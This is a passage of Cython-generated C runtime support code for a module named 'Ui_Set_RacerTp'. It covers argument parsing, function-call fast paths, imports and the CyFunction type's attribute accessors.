__pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Ui_Set_RacerTp", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Ui_Set_RacerTp"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } 